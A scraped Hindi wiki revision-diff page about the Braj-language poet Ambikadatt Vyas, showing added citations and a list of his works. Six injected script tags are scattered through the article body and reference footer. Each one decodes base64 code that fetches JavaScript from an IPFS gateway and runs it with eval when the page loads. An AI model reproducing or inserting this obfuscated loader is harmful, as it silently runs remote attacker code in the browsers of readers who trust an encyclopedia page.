"अम्बिकादत्त व्यास" के अवतरणों में अंतर
पंक्ति 2: | पंक्ति 2: | ||
*अम्बिकादत्त भारतेंदु युग के कवि और लेखक हैं। | *अम्बिकादत्त भारतेंदु युग के कवि और लेखक हैं। | ||
*अम्बिकादत्त व्यास [[भारतेन्दु हरिश्चन्द्र]] के समकालीन तथा उनसे प्रभावित [[हिन्दी]]-सेवी साहित्यकार थे। | *अम्बिकादत्त व्यास [[भारतेन्दु हरिश्चन्द्र]] के समकालीन तथा उनसे प्रभावित [[हिन्दी]]-सेवी साहित्यकार थे। | ||
− | *अम्बिकादत्त ने खड़ी बोली में | + | *अम्बिकादत्त ने खड़ी बोली में तुकांत और अतुकांत दोनों प्रकार की कविताएँ लिखीं।<ref name="चरित कोश">{{cite book | last =लीलाधर | first =शर्मा | title =भारतीय चरित कोश | edition = | publisher =शिक्षा भारती | location =भारतडिस्कवरी पुस्तकालय | language =[[हिन्दी]] | pages =6 | chapter = }}</ref> |
*अम्बिकादत्त ने [[काशी]] से 'वैष्णव-पत्रिका' ([[1884]] ई.) आरम्भ की थी जो बाद में 'पियूष-प्रवाह' नाम से साहित्यिक पत्रिका में रूपांतरित हो गयी। | *अम्बिकादत्त ने [[काशी]] से 'वैष्णव-पत्रिका' ([[1884]] ई.) आरम्भ की थी जो बाद में 'पियूष-प्रवाह' नाम से साहित्यिक पत्रिका में रूपांतरित हो गयी। | ||
− | *अम्बिकादत्त प्रख्यात विद्वान और कुशल वक्ता थे। अम्बिकादत्त ने पद्य और गद्य दोनों विद्याओं में | + | *अम्बिकादत्त प्रख्यात विद्वान और कुशल वक्ता थे। |
− | *कवित्त-सवैया शैली में ब्रजभाषा की उनकी रचनाएँ लोकप्रिय हुईं। | + | *अम्बिकादत्त ने पद्य और गद्य दोनों विद्याओं में रचनाएँ लिखी।<ref name="चरित कोश" /> |
− | *'बिहारी बिहार' नामक ग्रन्थ में उन्होंने बिहारी सतसई के आधार पर कुंडलियों की रचना की। | + | *कवित्त-सवैया शैली में ब्रजभाषा की उनकी रचनाएँ लोकप्रिय हुईं।<ref name="चरित कोश" /> |
− | *भारतेन्दु से प्रेरणा लेकर अंबिकादत्त व्यास ने कुछ नाटकों की भी रचना की। इनकी विषय वस्तु कृष्ण लीला और गो-रक्षा से सम्बन्धित है। | + | *'बिहारी बिहार' नामक ग्रन्थ में उन्होंने बिहारी सतसई के आधार पर कुंडलियों की रचना की।<ref name="चरित कोश" /> |
− | *'अवतार मीमांसा' अम्बिकादत्त का प्रसिद्ध धार्मिक ग्रन्थ है। | + | *भारतेन्दु से प्रेरणा लेकर अंबिकादत्त व्यास ने कुछ नाटकों की भी रचना की। इनकी विषय वस्तु कृष्ण लीला और गो-रक्षा से सम्बन्धित है।<ref name="चरित कोश" /> |
+ | *'अवतार मीमांसा' अम्बिकादत्त का प्रसिद्ध धार्मिक ग्रन्थ है।<ref name="चरित कोश" /> | ||
==प्रमुख रचनाएँ== | ==प्रमुख रचनाएँ== | ||
− | *पावन पचासा- अम्बिकादत्त की एक | + | *पावन पचासा- अम्बिकादत्त की एक काव्यकृति है।<ref name="चरित कोश" /> |
*बिहारीबिहार | *बिहारीबिहार | ||
*चांद की रात | *चांद की रात |
11:09, 4 मई 2011 का अवतरण
- अम्बिकादत्त व्यास (जन्म- 1848; मृत्यु- 1900) ब्रजभाषा के कुशल और सरस कवि थे।
- अम्बिकादत्त भारतेंदु युग के कवि और लेखक हैं।
- अम्बिकादत्त व्यास भारतेन्दु हरिश्चन्द्र के समकालीन तथा उनसे प्रभावित हिन्दी-सेवी साहित्यकार थे।
- अम्बिकादत्त ने खड़ी बोली में तुकांत और अतुकांत दोनों प्रकार की कविताएँ लिखीं।[1]
- अम्बिकादत्त ने काशी से 'वैष्णव-पत्रिका' (1884 ई.) आरम्भ की थी जो बाद में 'पियूष-प्रवाह' नाम से साहित्यिक पत्रिका में रूपांतरित हो गयी।
- अम्बिकादत्त प्रख्यात विद्वान और कुशल वक्ता थे।
- अम्बिकादत्त ने पद्य और गद्य दोनों विद्याओं में रचनाएँ लिखी।[1]
- कवित्त-सवैया शैली में ब्रजभाषा की उनकी रचनाएँ लोकप्रिय हुईं।[1]
- 'बिहारी बिहार' नामक ग्रन्थ में उन्होंने बिहारी सतसई के आधार पर कुंडलियों की रचना की।[1]
- भारतेन्दु से प्रेरणा लेकर अंबिकादत्त व्यास ने कुछ नाटकों की भी रचना की। इनकी विषय वस्तु कृष्ण लीला और गो-रक्षा से सम्बन्धित है।[1]
- 'अवतार मीमांसा' अम्बिकादत्त का प्रसिद्ध धार्मिक ग्रन्थ है।[1]
प्रमुख रचनाएँ
- पावन पचासा- अम्बिकादत्त की एक काव्यकृति है।[1]
- बिहारीबिहार
- चांद की रात
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 1.3 1.4 1.5 1.6 लीलाधर, शर्मा भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, 6।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>